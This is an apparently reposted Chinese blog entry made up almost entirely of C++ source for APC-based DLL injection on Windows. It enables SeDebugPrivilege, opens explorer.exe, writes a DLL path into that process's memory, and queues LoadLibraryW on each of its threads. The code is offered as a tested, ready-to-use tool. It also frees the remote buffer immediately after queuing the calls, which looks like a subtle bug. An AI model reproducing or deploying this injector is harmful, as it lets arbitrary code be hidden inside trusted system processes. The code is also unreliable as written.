QueryUserAPC Ring3下 APC注入

Posted CrisCzy

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了QueryUserAPC Ring3下 APC注入相关的知识,希望对你有一定的参考价值。

DLL.dll可以自己建,实测在win7 X86 X64, win10 X64下可用

 

 

#pragma once
/****************************************************************************************************/
/*Ring3下 APC注入提权 TLHelp32枚举线程 vector*/
/****************************************************************************************************/
//QueryUserAPC.h
/****************************************************************************************************/
#include <windows.h>
#include <vector>
#include <TlHelp32.h>
#include <vector>
using namespace std;

BOOL MYEnableSeDebugPrivilege(IN const WCHAR*  PriviledgeName, BOOL IsEnable);
BOOL MYQueueUserAPC(WCHAR* ProcessImageName, WCHAR* DllNameData);
BOOL MYEnumProcessThreadIDByToolhelp32(PCWSTR ProcessImageName, DWORD& ProcessID, vector<DWORD>& ThreadID);

  

// QueryUserAPC.cpp : 定义控制台应用程序的入口点。
////Ring3下 APC注入
//提权 TLHelp32枚举线程 vector

/****************************************************************************************************/
//QueryUserAPC.cpp
/****************************************************************************************************/
#include "QueryUserAPC.h"


int main()
{
	//提权
	if (MYEnableSeDebugPrivilege(L"SeDebugPrivilege", TRUE) == FALSE)
	{
		return 0;
	}
	MYQueueUserAPC(L"explorer.exe", L"Dll.dll");
    return 0;
}
BOOL MYEnableSeDebugPrivilege(IN const WCHAR*  PriviledgeName, BOOL IsEnable)
{
	// 打开权限令牌

	HANDLE  ProcessHandle = GetCurrentProcess();
	HANDLE  TokenHandle = NULL;
	TOKEN_PRIVILEGES TokenPrivileges = { 0 };
	if (!OpenProcessToken(ProcessHandle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle))
	{
		return FALSE;
	}
	LUID			 v1;
	if (!LookupPrivilegeValue(NULL, PriviledgeName, &v1))		// 通过权限名称查找uID
	{
		CloseHandle(TokenHandle);
		TokenHandle = NULL;
		return FALSE;
	}

	TokenPrivileges.PrivilegeCount = 1;		// 要提升的权限个数
	TokenPrivileges.Privileges[0].Attributes = IsEnable == TRUE ? SE_PRIVILEGE_ENABLED : 0;    // 动态数组,数组大小根据Count的数目
	TokenPrivileges.Privileges[0].Luid = v1;


	if (!AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges,
		sizeof(TOKEN_PRIVILEGES), NULL, NULL))
	{

		CloseHandle(TokenHandle);
		TokenHandle = NULL;
		return FALSE;
	}
	CloseHandle(TokenHandle);
	TokenHandle = NULL;
	return TRUE;
}
BOOL MYQueueUserAPC(WCHAR* ProcessImageName, WCHAR* DllNameData)
{
	TCHAR DllFullPathData[MAX_PATH];
	GetFullPathName(DllNameData, MAX_PATH, DllFullPathData, NULL);//获得完整路径

	DWORD ProcessID{};
	vector<DWORD> ThreadID{};

	if (!MYEnumProcessThreadIDByToolhelp32(ProcessImageName, ProcessID, ThreadID))
	{
		return FALSE;
	}

	auto ProcessHandle = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, ProcessID);
	if (!ProcessHandle)
	{
		printf("OpenProcess() Error\r\n");
		return FALSE;
	}

	//动态申请一块内存
	auto RemoteBufferLength = 0x2000;
	auto RemoteBufferData = VirtualAllocEx(ProcessHandle,
		NULL,
		RemoteBufferLength,
		MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (!WriteProcessMemory(ProcessHandle, RemoteBufferData, DllFullPathData, sizeof(DllFullPathData), NULL))
	{

		printf("WriteProcessMemory() Error\r\n");
		VirtualFreeEx(ProcessHandle, RemoteBufferData, RemoteBufferLength, MEM_RELEASE);
		CloseHandle(ProcessHandle);
		ProcessHandle = NULL;
		return FALSE;
	}
	
/*	for (const auto &v1 : ThreadID)    //Win7下崩溃 只有在倒序时可行
	{
		auto ThreadHandle = OpenThread(THREAD_SET_CONTEXT, FALSE, v1);
		if (ThreadHandle)
		{

			//向目标进程中的各个线程的APC队列插入执行体
			QueueUserAPC(
				(PAPCFUNC)GetProcAddress(
					GetModuleHandle(L"kernel32"),
					"LoadLibraryW"),
				ThreadHandle,
				(ULONG_PTR)RemoteBufferData);

			CloseHandle(ThreadHandle);
		}
	}*/

	int i = 0;
	for (int i=ThreadID.size()-1;i>=0;i--)   //Win10 Win7 通用
	{
		auto ThreadHandle = OpenThread(THREAD_SET_CONTEXT, FALSE, ThreadID[i]);
		if (ThreadHandle)//向目标进程中的各个线程的APC队列插入执行体
		{

			
			QueueUserAPC(
				(PAPCFUNC)GetProcAddress(GetModuleHandle(L"kernel32"),"LoadLibraryW"),//得到LoadLibraryW地址
				ThreadHandle,
				(ULONG_PTR)RemoteBufferData);

			CloseHandle(ThreadHandle);
		}
	}
	VirtualFreeEx(ProcessHandle, RemoteBufferData, RemoteBufferLength, MEM_RELEASE);
	CloseHandle(ProcessHandle);
	return TRUE;
}
BOOL MYEnumProcessThreadIDByToolhelp32(PCWSTR ProcessImageName, DWORD& ProcessID, vector<DWORD>& ThreadID)
{
	auto SnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);//创建TLHelp句柄
	if (SnapshotHandle == INVALID_HANDLE_VALUE)
	{
		return FALSE;
	}
	ProcessID = 0;

	PROCESSENTRY32 ProcessEntry32 = { sizeof(ProcessEntry32) };
	if (Process32First(SnapshotHandle, &ProcessEntry32))
	{
		//查找
		do {
			if (_wcsicmp(ProcessEntry32.szExeFile, ProcessImageName) == 0) //做比较
			{
				ProcessID = ProcessEntry32.th32ProcessID;
				THREADENTRY32 ThreadEntry32 = { sizeof(ThreadEntry32) };
				if (Thread32First(SnapshotHandle, &ThreadEntry32)) {
					do {
						if (ThreadEntry32.th32OwnerProcessID == ProcessID) {
							ThreadID.push_back(ThreadEntry32.th32ThreadID);//模版
						}
					} while (Thread32Next(SnapshotHandle, &ThreadEntry32));//当下一个存在时候继续
				}
				break;
			}
		} while (Process32Next(SnapshotHandle, &ProcessEntry32));
	}

	CloseHandle(SnapshotHandle);
	return ProcessID > 0 && !ThreadID.empty();
}

  

以上是关于QueryUserAPC Ring3下 APC注入的主要内容,如果未能解决你的问题,请参考以下文章

APC注入(Ring3)

APC注入(Ring3层)

基于Wrk和ReactOS源码分析APC机制的记录

Ring3下Hook NtQueryDirectoryFile隐藏文件

Windows x86/ x64 Ring3层注入Dll总结

PHP安装APC扩展